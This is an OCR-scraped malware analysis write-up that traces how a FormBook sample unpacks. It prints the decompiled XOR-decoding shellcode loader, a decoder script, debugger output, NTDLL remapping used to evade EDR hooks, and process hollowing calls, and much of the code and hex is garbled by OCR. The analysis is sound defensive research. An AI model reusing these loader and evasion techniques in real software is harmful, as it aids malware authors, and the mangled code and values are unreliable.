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Unpacking FormBook
Malware File
SHA256
Name Type

x32
FormBook 9B11FA3CFAOACDDO01BE3595FBA22F7B38C333E7EC8DA88228C971735913BB6F7
exe

Analysis process

The initial file is a 32 bit Nullsoft installer (NSIS). Right-clicking and unzipping will successfully extract the

installer files.
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File name

PDF
formbook.... = C:\Wsers'BlOb3r\Desktoplformbook. exe

File type File size

PE32 295.03 KB

MIME

{ BN

Sections Time date stamp Size of image

$PLUGINSDIR 0005 2021-09-25 14:56:47 00040000

Scan Endianness Mode

Automatic LE 32-hit
cz.mhh

hicclc.io

Linker: Microsoft Linker(0.07)[GLI32]

SPLUGINSDIR

I » SPLUGINSDIR R

Verbose

*  [] Mame

/%] pkclprj.dil

#r Quick access
I Desktop

I have read in some blog posts before that usually NSIS installers contain also an installer script, that was missing

in that case. Since the other two files apart from the DLL have unknown format and extension, I started to analyze
the DLL.
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File type
FE32

File info
MIME

Sections

0003

Scan
Automatic

* PE32

https://github.com /itaymigdal /malware-analysis-writeups/blob/main/FormBook/FormBook.md

File size a8 58 Entry point
104,50 KiB 10000000 | =

Memory map Disasm | Hex Strings Signatures VirusTotal
Search Hash Entropy Extractor

Export Import

Time date stamp

= 2023-05-26 00:35:20

Size of image

0001edDd

Endianness Mode Architecture

LE 32-bit 1386

Compiler: Microsoft Visual C/fC++(2008)[-]
Linker: Microsoft Linker{9.0)[DLL32]

dinal «

0001

Disasm

Name

00001050 00013047 _Gekeis@0

o002 00001070 00012051 HvDecly

This is a quite simple 32 bit DLL file that contains 2 exports. the first one was empty, I then decompiled the

second one and performed some renaming and cleaning:
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void HvDeclY(wvoid)

{ 7
code *pcvarl;
code *pcVarz;
code #*pcVari;
int32_t var_25@h;
undefined4 war_24c|
undefined4 war_243
undefined4 war_244h;
int3zZ_t temp_file_path;
undefined4 readfile_h;
int3z_t allocated_memory;
int3z_t filemapping_h;
int3z_t file_ h;
char *key;
code #virtualalloc_h;
code *createfilemapping_h;
HMODULE kernel3Z_h;
int3Z_t filemapping_address;
code *mapviewoffile_h;
int3z_t 1i;

*

I

i=8;
key = "584858684143";
kernel3Z_h = (HMODULE) (*#KERNEL3Z.d11_[oadlibraryA) ("Kernel32.d11");
if (kernel3z_h != (HMODULE)@x@) {
pcvarl = (code %) (*KERMEL3Z.d1l_GetProcAddress)(kernel3z_h, "GetEnvircnmentVarizbleW");
pcvar? = (code #)(*KERNEL3Z2.d11_GetProcAddress)(kernel3z2_h, “"lstrcatW™);
pcvar3d = (code *)(*KERNEL3Z.dl1_GetProcAddress)(kernel3zZ_h, "CreateFileW");
readfile_h = (*KERMEL3Z.dll_GetProcAddress)(kernel32_h, "ReadFile"};
virtualalloc_h = (code #)(*KERMEL3Z.dll_GetProcAddress)(kernel3Z_h, "Virtuslalloc");
createfilemapping_h = (code #)(*KERMEL3Z.dll_GetProcAddress)(kernel32_h, "CreateFileMappingW");
mapviewoffile_h = (code %) (*KERNEL3Z.dll_GetProcAddress)(kernel3Z_h, "MapViewOfFile"};
(FpcVar1}(L"TEMP", &temp_file_path, exff);
(*pcVarZ) (&temp_file_path, 8x1881b228);
(#pcVar2) (Btemp_file_path, L"hiccle.io®);
file_h = (*pcVar3)(&temp_rile_path, @x3ppeooee, 1, @, 3, 0xBe, @);
filemapping_h = (*createfilemapping_h){file_h, @, 2, &, &, 2);
filemzpping_address = (#mapviewoffile_h)(filemapping_h, 4, @, 8, Bx1328);
allocated_memory = (#virtualalloc_h)(@, ©x1526, @x1808, 2x40);
ff wrap memcopy
entry@(allocated_memory, filemapping_address, @x15e6);
do {
#(uint8_t *)(zllocated_memory + i) = *{uintB_t #)(allocated_memory + 1) * key[i ¥ @2xc];
i=1+1;
Y while (i < @x15e6);
/i execute allocated memory
(#(code #*)allocated_memory}();

return;

This function locates one of the other extracted files hicclc.io (that supposes to be dropped to %TEMP% by the
NSIS installer by now), allocates some memory, copy the file content inside, and doing a simple xor loop with a

hardcoded key to decode the next stage. then it simply calls that, which means that this is a shellcode.

I wrote a little python script to decode this stage:

i=0
key = "584058684148"
decoded = b""

with open("hicclc.io", "rb") as f:
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encoded = f.read()

while i < 0x15e6:

decoded_byte =

decoded += bytes([decoded_byte])

i+=1

with open("shellcode.bin", "wb") as f:
f.write(decoded)

encoded[i] M ord(key[i % @xc])

Here I used BlobRunner to debug the shellcode:

ta 9§ ta

& & # L

Be
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[ Motes ® Greakpoints M@ MemoryMap ) CallStack =@ SEH [0/ saipt %] symbols <% source /- References % Threads B Handes %7 Trace % Snowman
~r-E9 B2080000 jmp 12F08B7)
55 EX Administrator: Windows PowerShell
BBEC
. 56
. 8875 08 p+5ll
L] BA 26230000
. 57
. ~| EB OE imp 12F0022
. 88CA mov ecx,edx
. D1ES
. CIE1 07
L] 46
. 0BCE or ecx,eax
. 03cF add ecx, ed
. 0301 add edx,scx Grmy £
. OFBEE movsx edi,byte ptr ds:[esi] iy Al
. BBC2 mov eax,edx ing Fili
. 85FF test edi,edi
. ~| 75 E9 jne 12F0014
. SF
L] SE
. 5D
. C2 0400
: oo int. Then pr jump to th
56
BB75 08 d ptr sz:[febp+s]
BA 26230000
~| EB 10 jmp 12F00s0
BBCA mov ecx,edx
DIES
C1E1 07
D76 02 word ptr ds:[esi+z
08C8 or ecx,eax
03CF add ecx,edi
03D1 add edx,ecx
OFB73E movzx _edi,word ptr ds:[esi]
BBC2 mov eax ,edx
BSFF test edi,edi
~|75 E ine 12F0040
SF pop edi
SE pop esi
5D pop ebp
€2 0400 Fet =+
64:A1 30000000 mov eax,dword ptr
8840 0C mov eax,dword ptr
8840 0C mov eax,dword ptr
8BOO mov eax,dword ptr
8800 mov eax,dword ptr
8B40 18 mov eax,dword ptr

The shellcode mission is to load the 3'rd extracted file which is the 3'rd unpacking stage:
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[ex@oeeades]

push 2

push 2x3@

push 3

push @

push 1

push ©x30022008

lea eax, [payload_path]

push eax ; L"C:\\Users\\Bleb3ri\\AppData‘\Local\\Temp\\cftssaxz.mhh"
call dword [var_44h] ; CreateFilew
mov dword [var_18h], eax

cmp dword [var_18h], exffffffff

jne @xa@f

| }

[ex@oeedaeal [exeoeeaaef]

jmp @xcf9 push 4

push @x3eee

push dword [var_14h]

push @

call dword [war_48h] ; VirtualAlloc
mov dword [allocated_memory], eax

push @

lea eax, [var_5ch]

push eax

push dword [wvar_14h]

push dword [allocated_memoryl

push dword [wvar_18h]

call dword [var_4chl ; ReadFile
test eax, eax

jne @xa3c

Following this flow carefully in the debugger:

Hide FPU
EAX  003FFEOOD L"C:\\Users\\810b3r\\AppData\\Local\\Tenp\\cfrssaxz . mhh"
007C09CE 007C09CY .
< Hebp- : E8X 00520000 <PES.TInheritedaddressspaces
fleaXenx) ey ss:lebp-3sll imp 7COCF9 oz
Tea eax,dword ptr ss:[ebp-2641 ERX  0000001A
ush eax EBE  DO03FFD&4
Eiil Gword per ss:ebp-sol ESE  OO3FFAE4 &L"C:\\Users\\B10b3r\\AppData\\Local\\Temp\\cFtssaxz.mhh"
test_eax,eax EST  0OCSD314 56"
ine 7c09Es EDT  DO3FFDD4

007C09ED
Jmp 7COCF

LastError 00000057 (ERROR_INVALID_PARAMETER)
LastsStatus CODDOOOD (STATUS_INVALID_PARAMETER)

GS D0zE  FS 0053
ES 0028 DS 0028
cs 00zz 35 o02E

jne 7C0AOF X87r0 Empty 0.0000000D00ODDGDOOG
X87r1 Empty 0.0000D00D00ODDGDOOG
x87r2 Empty 0.0000DOODOOOOOOOOOD
X87r3 Empty 0.000000000000000000

(4) 00000000000000000000 X87r4 Empty 0.000000000000000000
007C0ADA X87r5 EMPTy 64.00000000000000000
imp 7COCF9 C X87r6 EMDTy 8.000000000000000000

push 3000
push dword ptr ss:[febp-14]
ush o

Eail awora pur ssygens
mov_dword ptr ss:[febp-10],eax
push o

Tea eax,dword ptr ss:febp-scl
push_eax

Gword ptr ss:(ebp-441=[003FFD20 <&createrilews]=<kernelsz,Createrilews

vorcosr <

Capturing VirtualAlloc return address to keep tracking of the decoded stage:
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75cE6E98 50

sn eax
75C66E9 6a FF ush FFEEEFEE ~ (k2D D
75ce6E9E FFL5 6CO7DaTS dword ptr ds:[<&ZwallocatevirtualMemorys]
75CEEAL 8580 test eax eax Eax [ :
75C66EA3 | v 78 OA 35 kernelbase.75CE6EAR EBX  00BB100O <PEB, InheriTedaddressspaces
75CE6EAS 3875 FC mov esi,dword ptr ss:Hebp-41l ECX L6 RC 2BEC] G ot CRELES
75CEGEAE sace mov eax;esi EDX 00000000
75CE6EAR sE pop esi EBP  00DSF75C
75cceEAs. cs Teave 00DGF4E4
| c2100  |ret 10 ESI  00CSD314 5"
75CEGEAR s8c8 moy_ecx, eax EDI  00DSFTCC
75CE6EBL E8 2AICFEFF €all kernelbase, 75C48AED
75Ce6ESE |~ EB FO Jmp_Kernelbase. 75C66EAS
=D = I, EIP  7scesEAC kernelbase. 75CE6EAC
75ceeEss cc ints
e & = EFLAGS 00000334
75ceeEsE cc ints L ma B
75cesERC < intz OF 0 SF O DFO
75Ce6EED cc ints CFO TF1 IF1
7scesesE < intz
75Ce6EsE cc ints LastError 00000000 (ERROR_SUCCESS)
75CE6ECO S8FF mov edi, edi PathcehFindextension Laststatus COODODOD (STATUS_INVALID_PARAMETER)
75Ce6EC2 55 push ebp
75ce6ECa s8EC mov ebp,esp GS 0028 FS 0053
75C66ECS 3845 08 mov eax,dword ptr ss:[ebp+sll [ebp+8]:&"C:\\Users\\810b3r\\Desktop\\MalBox \\Utils & Mis ES 002E DS 0028
75CE6ECE 56 push esi asi: %E" & oah B e
75CE6ECS push edi ] -
75CEGECA 87D 10 mov edi,dword ptr ss:[febpl
s o2 = kco R S B 5T(D) 00DODNODDOODOODOOODD X87rD Empty 0.0000DOGOGOODOBO0DD
Zeceeeno seco e ST(1) 0000000000000000000Q X87rd ETPTY 0.000000000000000000
Jiceeep2 | ~ 74 56 o kernelbase.75cesF2A || 5T¢2) 0000000000000000000 x&7r2 Empey 0.000000000000000000
75C66EDS 2855 0C mov_edx,dword ptr ss:febp+Cl [ebp+c]:”a breakpoint. Then press any key to jump to the ST(3) 0000000000D000000000 X87r3 EmPTY O.0000DODOODODODOODD
75C66ED7 85D2 Test edx, edx ST(4) 00000000000000000000 X87r4 EMPTY O.
75ceeEDs | v 74 aF je kernelbase.7scesr2a ST(S5) 4005800000DDO0DDODDO X875 EMPTy E4.000000000000B00D0
75C66EDE 81FA 00800000 cmp_edx, 3000 ST(E) 40028000000000DDOO00 X876 EMPTy &.0000DOBOCDODOBO0DD
7sceeEEl | v 77 a7 ja kernelbase.7s5ce6r2a 00000000000000 1 3750000000000000000
75cesEEs 03450 Tea esi,dnord per ds:[eax+edx“2] e LAt XATIT EMBEY 0,375
75CE6EEG 339 xor ecxjecx R (D
75Ce6EEE 8¢ cm sesi
75C66EEA | v 73 3E jac kernelbase.75ce6F24 Sl ) (EpEn Sl 2 (FnG)
75Ce6EEC 53 push ebx ebx:PEB. Inheritedaddressspace X87TW_Z 3 (EmPty)  X87TW.3 3 (Empty)
75CE6EED DFE710 movzx_edx,word ptr ds:[eax] X87TW_4 3 (Empty)  Xx87TWs 3 (Empry)
75C66EFD 8804 mov_ebx,edx ebx: PEB. Inheritedaddressspace XB7TW_6 3 (Empty) x87TW_7 3 (Empty)
Tateetrs b T kernetn < I —
75Ce6EFS | v 74 16 je kerndlbase.75CE6F0D
75CE6EF7 8378 2€ cmp ebx,2€ ebx: PEB. InheritedAddressSpace, 2:'."
75CeGEFA | v 78 26 je kernZlbase.75ce6r22 Detakt (z:dcal)
75CE6ERC 8378 20 cmp_ebx,20 ebx: PEB. InheritedAddressSpace, 20:' '
7SCGEFF | v 74 25 je kernélbase.75CE6FZ6 €sp+8] 0002EG00 0002EG00
75C66FO1 83FA 5C emp edx,5C HERNN S 6] Ro0003000§00005 00
75Ce6F04 | v 78 20 je kernlbase.75CE6FZ6 v esp+10] 00000004 00000004
h N esp+14] D03A0043 00340043
Gword ptr ss:[ebp-18]=[DODEFACO <aVirtualFrees]=skernals2. virtualFree-
oocoo7D2

@oup 1 oump2 @ watch1 | bellols 7 struct

Then we can see how ReadFile is filling this memory with the file content:

OOC00AZ23
1ea eax,dword ptr ss:|Iebp-5C]
push eax
push dword ptr ss:
push dword ptr ss:
ush dword

test eax,eax
jne CODA3C

OOCO0AZC
and dword ptr ss:|[Jebp-2],0
jmp CO0A4D

dword ptr ss:[ebp-4C]=[00D&F710 <&ReadFilex]=<kernel3z.ReadFilex

QOCO0AZD

oump1  @Wpump2z @WDump3  @doump4  @Woumps & watchi  [x-lLoca

19150000 ( 00 OO0 00 00|00 00 OO0 00|00 00 00 00|00 00 00 00| cesssssssnnnnnnn
19150010 (00 OO0 00O OO|00 OO0 OO 00|00 OO0 00 00|00 00 OO 00| cueeeeeeennnnnns
19150020 (00 OO0 00 OO|C0 OO0 OO OO|O00 OO0 OO0 OO|00 00 OO0 00| cueeeeeeennnnnns
19150030 (00 00 00 OO|00 OO0 OO 00|00 00 00 00|00 00 OO 00| cue.e e e e e eennnnns
19150040 (00 OO0 0O OO|O0 OO OO OO|O00 OO0 00 OO|00 0D OO0 00| cueeee e e ennnnnns
19150050 00 00 00 00|00 00 OO0 00|00 00 00 00|00 00 00 00 sesssssssnnnnnnn
19150060 (00 OO0 00O OO|00 OO OO OO|O00 OO0 00 00|00 00 00 00| cue.e e e e e ennnnnns
19150070 (00 OO0 00 OO|00 OO0 OO 00|00 00 OO0 00|00 0D OO 00| cueeeeeeennnnnns
19150080 00 00 00 OO|00 OO0 OO 00|00 00 00 00|00 00 00 00| cesssssssnnnnnnn
19150090 (00 OO0 00O OO|00 OO0 OO 00|00 OO0 00 00|00 00 00 00| cueeeeeeennnnnns
191500A0 (00 OO0 00 OO|00 OO0 OO OO|O00 OO0 OO0 00|00 00 OO0 00| cueeeeeeennnnnns
19150080 (00 OO0 00O OO|00 OO0 OO 00|00 00 00 00|00 00 00 00| cuee e e e eennnnns
191500C0 (00 OO0 00 OO|00 OO0 OO 00|00 00 00 00|00 00 OO 00| cueeeeeeennnnnns
19150000 | 00 00 00 00|00 00 OO0 00|00 00 00 00|00 00 00 00| cusssssssnnnnnnn

Vwalla!
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00C00AZ3
lea eax,dword ptr ss:[ebp-sC
push eax

dword ptr ss:

dword ptr ssi

OOCO0AZC
and dword ptr ss:|febp-s,0
jmp COOA4D

dword ptr ss:[ebp-4C]=[00D6F710 <&ReadFilex]=<kernel3z.ReadFilex

O0CO0AZD

84 Dump 1 84 Dump 2 &4 Dump 3 24 Dump 4 &4 Dump 5 @ watch 1 [x=] Locals

19150000 |FO 8F 53 B3I|EE 8D 7A 15(81 B3 76 71|6A D5 06 BC|®.5"p.z.."vqjl.%
19150010 |15 A6 OD 43 |2C A3 AB 9E|F2 AS BO 42 |0F D5 FD 78|...C,f«.U °B.0yx
19150020 (E3 9F 9§ 0OB(0Z2 FO A9 D6|94 94 13 Z4|EC A4 A5 EF|4....080...579¥]
19150030 |70 EF 37 E2|F6 0OA A2 81|65 58 2D 3E|D1 9D 75 9E|pirad.<.hx-=R.u.
19150040 (EA OB D4 EA|02 10 6C 47|83 24 94 38|95 AB BF Fo|e.0&..1G.%5.8.«-0
19150050 |02 ED 42 15 |E6 73 37 2C|Ll 7F BA OB|FO E6 3E 3A|.iB.®s7,0.°.0&:
19150060 |0C 7D 13 C6|89% 0A 05 E1(13 33 9E BE|25 49 6B 5D|.}.&...3.3..%Ik]
19150070 (0B 94 48 F9|36 3C 2F 43|17 52 38 62|98 A3 32 1B|..HUG</C.RBh.£2.
19150080 |EQ 23 BS 0A(98 4F 2A 55|B3 13 C6 4E|50 22 F3 B3| B#y..0"U". ANP"O"
19150090 |EC 10 C4 4D (0D 0D 24 ZE|BD AF E5 87|05 88 60 CE|7.AM..%.% &... 1
19150040 |5A E2 4C 51|82 1E DO EE|56 18 6C 37 (3B CA B8 17 |7alqQ..piv.17;E .
19150080 |54 A9 FF 09|DA 2E D7 29|2C 6B FA 02|DD 16 81 1D |Tey.0.x),k0.¥...
191500C0 |AB 82 1E B1|CA 02 4E CB|BE 00 39 F8|6B 3F 56 5C |«..xE.NEX.98k™V
19150000 |12 22 05 B1|FO D5 A8 3D |1BE C& BD 96|FF 8D F7 EB|."..080 =.ms, y.z8
191500E0 |16 08 AS 29|58 5A D2 EC|D5 AA 3IF CF|56 82 EB 26|.. 1xzdid27Iv.e&

Aoachncnl 3 . AT Fnlar M7 e A7 lna e Ac amloT 37 o3c el mAEn wTe wmo - T

The following graph snippet contains a loop in the left block for decoding this stage. I located a BP on the

completion of the loop in the right block and let it run:
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00C 00204

ODCOOCEG
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OOCO0ASS

mov eax,dword ptr ss:
add eax,dword ptr ss:

00Co0A4D

mov eax,dword ptr ss:
cmp eax,dword ptr ss:
jas COOCE3

Iebp—l
ebp-

mov al,byte ptr ds:[eax]

mov byte ptr 55:.&bp—1|,a1
mMoOVZX eax,byte ptr ss:

XKOr 2ax,AB

mov byte ptr ss:lebp—ll,a1
movZX eax,byte ptr ss:

sar eax,e6
movzx ecx,byte ptr ssijlebp-10
shl ecx,2

or eax,ecx

mov byte ptr ss:lebp—ll,aI
movzZy eax,byte ptr ss:

not eax

mov byte ptr ss:lebp—ll,aI

movZzx eax,byte ptr ss

add eax,D3

mov byte ptr ss:[febp-

ebp-10

ebp-10

ebp-10

ebp-1]

a2l

movzx eax,byte ptr ss:febp-1]
neg eax

mov byte

2y ] o |

ptr ss:[febp-

Ebp—ﬂ!.
ebp-1

OOCOOCES
ush dword

ooz

mov dword ptr ss@
cmp dword ptr ss:
je CO0CE3

ii[]]ﬂpl

U4 Dump 2

U4 Dump 3

19150000
19150010
19150020
19150030
19150040
19150050
19150060
19150070
19150080
193150090
1915 00A0
19150080
191500C0
19150000
191500ED
1915 00F0
19150100
19150110
19150120
19150130

AN AT

4D SA 45 52
S0 2C S0 00
00 00 00 00
00 00 00 00

QC 1F £A 02
69 73 20 7O
74 20 62 65
60 &F &4 65
AB FC 08 EA
F4 00 CD B9
F4 00 FB B9

28838
388H8
RE888
g8888
888
888
888

1888
1888
IEER
1888
I5E8
IEER
1888
1888

EB
03
o0
o0

oo
c1
oo
oo
B4
&F
72

oo
53
oo
oo
o9
&7
75

o0
o
o0
o0
cD
72
GE

72
20

<2 00 00 02
EF 9D &5 B9

I
o
)
=
=1}
m
o

EE 9D &6 B9

A8
28
28

g

E5R8

And now we love what we see!

Let's dump this PE to disk:

U4 Dump 4

U4 Dump 5

B watch 1 Ir=llocals 4/ Struct

00 58 83 EB
28 03 08 FF
o0 00 00 00
oo 00 00 00
21 BS& 01 aC
61 &0 20 &3
62 6E 20

F4 00 F8 B9
52 69 63 68

09 8B C8H B3
E1 50 00 00
00 00 00 00
COo 00 OO0 OO0

CD 21 54 65
&1 6E &E &F
44 4F 53 20
00 00 00 00
EF 9D &6 B9
EC 9D &6 B9
EF 9D &6 B9
00 00 OO0 OO0

JSER@SEs8

BEERERS
18E88EERE
JSEEBE838

k]
k]
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01280000 | 00001000 | User PRV | ERW-- ERW-—
01290000 | 17079000 (§, user PRV | -RW-- -RW--
19010000 | 00035000 [f, User reserved PRV -RW-—
19045000 | 0O00BOOO (§, User PRV | -RW-G —RW-—
13050000 | 000FDOOO [f, User rReserved PRV -RW--
19140000 | 00003000 [§ User stack (7980) PRV | -RW-G —-RW-—
19150000 | 0O02FO000 |, User PRV | -RW-- -RW--
19130000 | 001ADO00 (fi User —— PRV | -RW-- -RW-—
75470000 | 00001000 |2 System | rpcrtd E e IMG |-R-—- ERWC—
75471000 | 000ADOOD |8 System | . TeX gill  Fgllow in Dump able code IMG |ER--- ERWC -
7551E000| 00001000 (B system | ".dat - lized data IMG | -RW-- ERWC—
7551F000 | 00002000 B System | ".idsz tables IMG | -R--- ERWC -
75522000 | 00001000 (B System | “.dic # Lo f L IMG |-R--- ERWC -
75523000 | 00005000 |8 System | “.rsf 0 gomment . ces IMG |-R-—- ERWC—
75528000 | 00007000 (B System | ".rel L ! elocations IMG -R-— ERWC -
75410000 | 00001000 (B system | sechos |, ; IMG |-R--- ERWC—
75A11000 | 00067000 (B System | “.tTex 12 BndPattern... S able code IMG |ER--- ERWC -
75A7B000 | 00003000 |8 System | “.dat CF  suitch View lized data IMG | -RW-- ERWC -
7SA7B000| 00D03000 |2 System | ".idz "= = tables IMG |-R-—- ERWC—
7SATEQ00| 00001000 |8 System | ".dic : - IMG | -R--- ERWC -
75AFFO00| 00002000 (B system | ".rsr H Slsesimaian ces IMG |-R--- ERWC—
75AS1000 | 00005000 (B System | ".rel elocations MG -R-— ERWC-
75B30000 | 00001000 (B System | kernel ﬂ@ Allocate memary IMG |-R--- ERWC -
75B31000 | 001FBOOO B System | ".tex - able code IMG |ER-—- ERWC—
75D2C000 | 00004000 B System | “.dat ¥ o memary lized data IMG | -RW-- ERWC -
Fonznnnn | nnnnennn (B Svctam R 1 - tahlex TMI~ R - FRW —

When keeping debug the shellcode we observe that it spawns another instance of itself:

. €2 1800 FEE 18

. 20 nop

- B8 C2000000 mov eax,C32 ZwCreatelserProcess

L] BA 90BAFD7E mov edx,ntdll.76FDSAS0

. FFD2 edx

. €2 2C00 2C

e 7eFca7IF ) nap

| 7eFC3720 BS CADQOQODOO0 mov eax,CAa ZwCreatewaitCompletionPacket

L] 7 BA 90BAFD7E mov edx,ntdll.76FDSAID

. FFD2 edx

. £2 0CO0 'c

- 90 nop

#®||76FC3730 B& CBOODOOOOD mov eax,CB NtCreatewaitahlePort

o 7eFc3vas BA 90BAFDTE mov_edx,ntdll.76FDBAI0

®|76FC373A FFD2 edx

ef7eFcaTaC €2 1400 14

ef7eFca7aF a0 nop

#|7eFC3740 BE CCO00000 MoV £ax.Co ZwCreatewnfstateName
<

} ntd11.d11: 873710 #72B10 <ZwCreateUserProcess:

EIE] 00D GEDA4 | 00000000

00D GEDAS | DODGEDEOD

00D GEDAC [[75C35C4C | return to kernelbase.75C35C4C from kernelbase.75C35C60

00DGEDED | 00000000

O0DGEDE4 || CODGEELD| L"C:\\WUsersh\Blob3r\\Desktop \\MalBox \\Utils & Misc\\blobrunner.eaxe"
Q0D GEDEE || 00000000

Q0D EGEDEC || 00000000

000 &EDCO || oooDOOOO

>

I |

w [8Z| blobrunner.exe 7316 0.1

Then it maps a fresh copy of NTDLL to evade EDR hooks in the original NTDLL:
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01080DC3
mcall edi
mov esi,eax ; eax:L"C:%\Windows\\SYSTEM32\\ntd11.d11"
mov dword ptr ss:[[ebp-10],esi
cmp esi,FFFFFFFF
je 1080EAC

010800D3

push ebx

push esi

€8N dword ptr ss:l[febp-cl

mov dword ptr ss:febp-cl,eax

cmp eax,FFFFFFFF ; eax:L"C:‘\\Windows\\SYSTEM32'\ntd11.d11"
je 1080EAC

I

01080DE4
push 4
push 2000
push eax ; eax:L"C:\'Windows\\SYSTEM32%\ntdl11.d11"
push ebx
@M dword ptr ss:[[ebp-s]
mov edi,eax ; eax:L"C:“\Windows\\SYSTEM32'\ntdl11.d11"
test edi,edi
i

je 108DEAC
| ninsonea I

EAX 010F2ESS
EEX 00000000
ECX  EBFLBGASA

L"C: \\Windows\, SYSTEM32\\ntd11.d11"

TEF58424 Lmd11"
EBP  OODEF1A4
OODBF144 &L"C:\\Windows\\SYSTEM32\\ntd11.d11"

EST 76180000
ERI  T761A3TED

kernel32. 76130000
<kernel32.CreateFilew>

EIP 01030DC3

EFLAGS 00000344
ZF 1 PF 1 AF O
OF O SF 0O DF O
CFO TF1 IF1

LastError 00000000 (ERROR_SUCCESS)
LastStatus COO00DOD (STATUS_INVALID_PARAMETER])

GS 002B FS 0053
£S5 00ZE DS 002B
CS 0023 55 0028

ST(0) 00000000000000000000 x87r0 Empty O.000000000000000000
ST(1) 00000000000000000000 x87rl Empty O.000000000000000000
ST(2) 00000000000000000000 X87r2 EMPpTY O.000000000000000000
ST(3) 00000000000000000000 XB87r3 Empty 0.000000000000000000
ST(4) 00000000000000000000 x87r4 Empty O.000000000000000000

STICY AL BANANANAAAANANAN WETrE Emnti €4 ANAAAAAANANANANAA

Default (stdcall)

1: [esp] O10F2E58 OLOF2ESS L"C:\\Windows\\SYSTEM32\\ntd11.d11"
1 [espt4] 80000000 80000000

01080DC3

edi=<kernel3z.CreateFilew-

2
3: [esp+8] 00000007 00000007
4: [esp+C] 00000000 00000DOD
5: [esp+10] 00000003 0000003

<

Then it performs process hollowing by replacing the child process image with the PE we dumped before, some

incriminating process hollowing calls are:

®||CODEOIFA BDB5 S54FCFFFF
& ((ODODEOA00 50

& ((00DEQ4DL FF75 DO

> FF5S 80

L

0ODED407 BECO
r--——#((0DEC403 ~ 75 05

———® || D0DEQ40B + E9 DEOZ20000

L--—ve |[0ODED4LO 64 00
®((00DEOAL2 64 04
& ((00DEO414 BD45 B4
®((D0DEQ4LY 50
®((00DEO41E BEBS FBFCFFFF
& ((D0DEO41E 83C0O 08
®((00DEO421 50
®((00DEO422 FF75 CC
®((D0DEO425 FF95 7CFFFFFF
®((00DEO42B 85C0

r————#((D0DEQ42D ~ 75 05

———® [[00DED42ZF ~ E2 B4020000

L---ve |[OODED434 BBE45 FC
& ((D0DEO43T BBE4D B4
® ((DO0DEO43A 3B48 34

NS e|00DED4ZD | -~ 72 25

: & ((OODEO43IF BEB45 FC
i & | O0DEO442 BE40 34
: & || 00DEO445 BB4D FC
! ® || O0DEO448 0341 50
: & | O0DEO44B 3945 B4
! Ir————l OODEO44E ~ 77 14
(] £

e

Tea eax,dword ptr ssiiebp-3AaC)
push eax

push dword ptr ss:|[lebp-30]
call dword ptr =s:[

test eax,eax

jne DED410

jmp DEOGES

push 0

push 4

Tea eax,dword ptr ss:ff

push =eax

mov eax,dword ptr ss:|lebp-208]
add eax,s

push eax

push dword ptr ss:|lebp-34)
€311 dword ptr ss:|[lebp-34]
test eax,eax

ebp-4C]

jne DED434

jmp DEDGES

mov eax,dword ptr ss:|lebp-4]
mov ecx,dword ptr ss:|febp-4C]
cmp ecx,dword ptr ds:[eax+34]
jlr DED464

mov eax,dword ptr ss:|[[ebp-4]
mov eax,dword ptr ds:[eax+34]
mov ecx,dword ptr ss:|lebp-4]
add eax,dword ptr ds:[ecx+50]

cmp dword ptr ss:|[lebp-4C), eax
ja DED4&4

OODEO404

dword ptr ss:[ebp-80]=[010FFBC4 <&GetThreadContext>]=<kernel32.GetThreadContext>
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e . [
#|(00DED41E 8BEB5 FBFCFFFF mov eax,dword ptr ss:|[Jebp-z08]
®||00DED41E B3C0O 08 add eax,s
& || 00DED421 50 push eax

\i OODEQ422 FF75 CC ush dword r ss:|lebp-3
EIP >
®||00DED4ZEB BLECO Test edx,eax
r——--®%|00DEOQ42ZD « 75 05 jne DEO434
———® | 00DED4ZF ~ E9 B4020000 jmp DEOEES
L-—-v# || DODED434 BB45 FC mov eax,dword ptr ss:lebp—qll
& | 00DED43T SB4D B4 mov ecx,dword ptr ss:febp-4C
& || 00DED43A 3IB45 34 cmp ecx,dword ptr ds:[eax+34]
[eom=oa & ||D0DED43D v T2 25 jb DEO4G64
] ®|l00DED43F BB45 FC mov eax,dword ptr ss:|Jebp-41
i & || 00DEDS42 SB40 34 mov eax,dword ptr ds:ieax+34]
] & (DODEOD445 BE4D FC mov ecx,dword ptr =s:|febp-4]
I & || 00DEDO445 0341 50 add eax,dword ptr ds:[ecx+50]
! ®[l00ODED44B 3945 B4 cmp dword ptr ss:[febp-4cf,eax
1 r----® || 00DEO44E ~ 77 14 1a DEO464
i <
S
dword ptr ss:[ebp-54]=[010FFSC0 <&ReadProcessMemory=]=<kernel32.ReadProcessMemory:>
OODEO425

O0F 90675
mov eax,dword ptr ss:lebp—nlg.; [ebp-4]:"PE"
mov ecx,dword ptr ss:|ebp-2
add ecx,dword ptr ds:[eax+28]
mov dword ptr ss:|lebp-zFcll,ecx ; [ebp-2FC]:EntryPoint
lea eax,dword ptr ss:[febp-3ac]
push eax
ush dword r ss:[febp-3

test eax,eax
jne F9069A

O0F 20694
ush dword ptr ss:[Qebp-30f
F20OFFD
test eax,eax
jne F906AS8

dword ptr ss5:[ebp-8C]=[012FF4F8 <&SetThreadContext>]=«<kernel3z.setThreadContext>

00F2068E

Observing the final PE payload, reveals that it's highly obfuscated and difficult to analyze. It's written in pure
assembly using MASM:
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Entropy

et
00000000

Entry point
packed(90%) = - KiB 0041f1e0

Offset Size Entropy Status Name
00000000 00000200 3.03895 not packed PE Header
00001000 00D2d40D 40273 packed Section(0)["text']
AMamn Aaann-nn AAMUT b marbad P
2011-10-30 01:00:55
Endianne:
LE

Linker: Microsoft Linker(10.0)[GUI32]
Overlay: Binary

1 [] Heuris n v

B mp.

It contains only .text section, and Cutter really struggled to create the navigation bar above due to obfuscation

and non-conventional code:

Functions ﬂ ¥ | Dashboard Strings Iinparts Search Callgraph Global Callgraph Disassembly Graph (entry0) Hexdump Decompiler {entryd)

-~

Mame - Decompiler (entryl)

%:“‘xmm e | void BAEFYE(vOLd)
on.

() £cn.00401030
() fen.00401180
(@) fen.00401210
(@) fen.00401300
(@) fen.00401410
() fen.004014b0
() fcn.00401530
() fcn.004015€0

(%) fcn 00401620 =
@ fcn. 00402490 Name Size Address End Address  Virtual Size Permissions Entropy Comment

Sections

@ fen 00402fb0 . dext 0x2d400 0x00401000 Ox0042f000 (Ox2e000 X 740272013 [00] -r-x section size 188416 named text
(J) fen.D04035d0
() fen.D0403610
(03 fcn. 00403640
(B fcn. 00403660
(%) £cn.004036b0
(%) fen.004037h0
() fen.00403b20
(J) fen.00403bd0
() fen.00404100
(03 fcn.004041d0
(B £cn.00404270

The final payload is really tough, and contains lots of anti-vm and anti-debugging tricks, that I won't cover today

(or any other time %))

